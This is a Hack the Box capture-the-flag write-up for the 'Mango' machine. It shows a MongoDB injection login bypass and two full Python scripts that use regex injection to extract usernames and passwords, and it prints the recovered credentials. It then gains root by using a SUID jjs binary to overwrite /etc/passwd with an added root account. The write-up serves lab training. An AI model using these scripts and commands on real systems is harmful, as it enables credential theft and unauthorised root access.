Hack the Box: Mango
Hack the Box: Mango#
Mango was a medium difficulty machine on Hack the Box. Here’s my take on solving the challenge.

Mango
Tl;dr: SSL certificate reveals a virtual host with a login page. It is vulnerable to MongoDb injection that allows to enum the registered users and password. The credentials are reused in SSH which allows to get user flag. Root can be obtained by exploiting SUID on jjs binary.
User#
As usual nmap scan reveals a couple of potential attack surfaces. Most notably HTTP services:
nmap -sS -sV -n -p- mango.htb
-- snip --
A SSL certificate reveals a possible virtual host subdomain:
# openssl s_client -showcerts -connect mango.htb:443
CONNECTED(00000003)
depth=0 C = IN, ST = None, L = None, O = Mango Prv Ltd., OU = None, CN = staging-order.mango.htb, emailAddress = admin@mango.htb
Under staging-order.mango.htb there’s a login page:

Mango login page
It seems to be vulnerable to a MongoDb injection because adding [$ne] (not equals) to username and password results in logging in:
username[$ne]=test&password[$ne]=test&login=login
Unfortunately, the service itself doesn’t provide much value:

Logged in to staging-order
Instead it’s possible to use regular expressions to start guessing actual usernames present in the system. The following script will list all logins:
#!/usr/bin/env python
import requests
import string
import sys
import re
charList=string.ascii_letters
def findNextLetter(prependString):
for character in charList:
sys.stdout.write("\r")
currentTest=prependString+character
sys.stdout.write(currentTest)
sys.stdout.flush()
r = requests.post("http://staging-order.mango.htb/", data={"username[$regex]": "^"+re.escape(currentTest)+".*", "password[$ne]": "test", "login:":"login"}, allow_redirects=False)
if r.status_code == 302:
findNextLetter(currentTest)
sys.stdout.write("\r")
r = requests.post("http://staging-order.mango.htb/", data={"username": prependString, "password[$ne]": "test", "login:":"login"}, allow_redirects=False)
if r.status_code == 302:
sys.stdout.write(prependString + ' ')
sys.stdout.write('\n')
else:
sys.stdout.write(' ' * (len(prependString)+1))
sys.stdout.flush()
findNextLetter("")
After a couple of modifications the script can also list passwords:
#!/usr/bin/env python
import requests
import string
import sys
import re
import argparse
charList=string.printable
def findNextLetter(username, prependString):
for character in charList:
if not character.isprintable():
continue
sys.stdout.write("\r")
currentTest=prependString+character
sys.stdout.write(currentTest)
sys.stdout.flush()
r = requests.post("http://staging-order.mango.htb/", data={"username": username, "password[$regex]": "^"+re.escape(currentTest)+".*", "login:":"login"}, allow_redirects=False)
if r.status_code == 302:
findNextLetter(username, currentTest)
return
sys.stdout.write("\r")
r = requests.post("http://staging-order.mango.htb/", data={"username": username, "password": prependString, "login:":"login"}, allow_redirects=False)
if r.status_code == 302:
sys.stdout.write(prependString + ' ')
sys.stdout.write('\n')
else:
sys.stdout.write(' ' * (len(prependString)+1))
sys.stdout.flush()
parser = argparse.ArgumentParser(description="Enum script for password of a given user")
parser.add_argument("-u", "--username", help="Username to find password of", required=True, )
args = parser.parse_args()
findNextLetter(args.username, "")
Running above scripts reveals two sets of credentials:
# python mango-enum-users.py
admin
mango
# python mango-enum-password.py -u admin
t9KcS3>!0B#2
# python mango-enum-password.py -u mango
h3mXK8RhU~f{]f5H
SSH doesn’t let to login to admin account remotely. But it’s possible to do so for mango user. Locally admin ’s password works which allows to get user flag:
# ssh mango@mango.htb
-- snip --
Password: h3mXK8RhU~f{]f5H
Root#
There’s an suid binary on the system that allows code execution:
$ find / -perm /4000 2>/dev/null
-- snip --
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-- snip --
Jjs is kind of limited when it comes to redirecting input. Nevertheless it’s possible to modify /etc/passwd file to add a root user. First, it’s neccesary to prepare a password hash. That can be done on attackers machine:
openssl passwd -1 -salt tellico test123
$1$tellico$30TQ5Bff7wtirtpxbOqmR/
Now on the victim machine it’s possible to edit a copy of passwd file and then exploit jjs to overwrite the original /etc/passwd :
$ cd /tmp
$ cp /etc/passwd .
$ echo "tellico:\$1\$tellico$30TQ5Bff7wtirtpxbOqmR/:0:0::/root:/bin/bash" >> passwd
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('cp passwd /etc/passwd').waitFor()" | jjs
$ su tellico
Password: test123
root@mango:/home/admin/tellico# cd /root
root@mango:~# cat root.txt
8a8...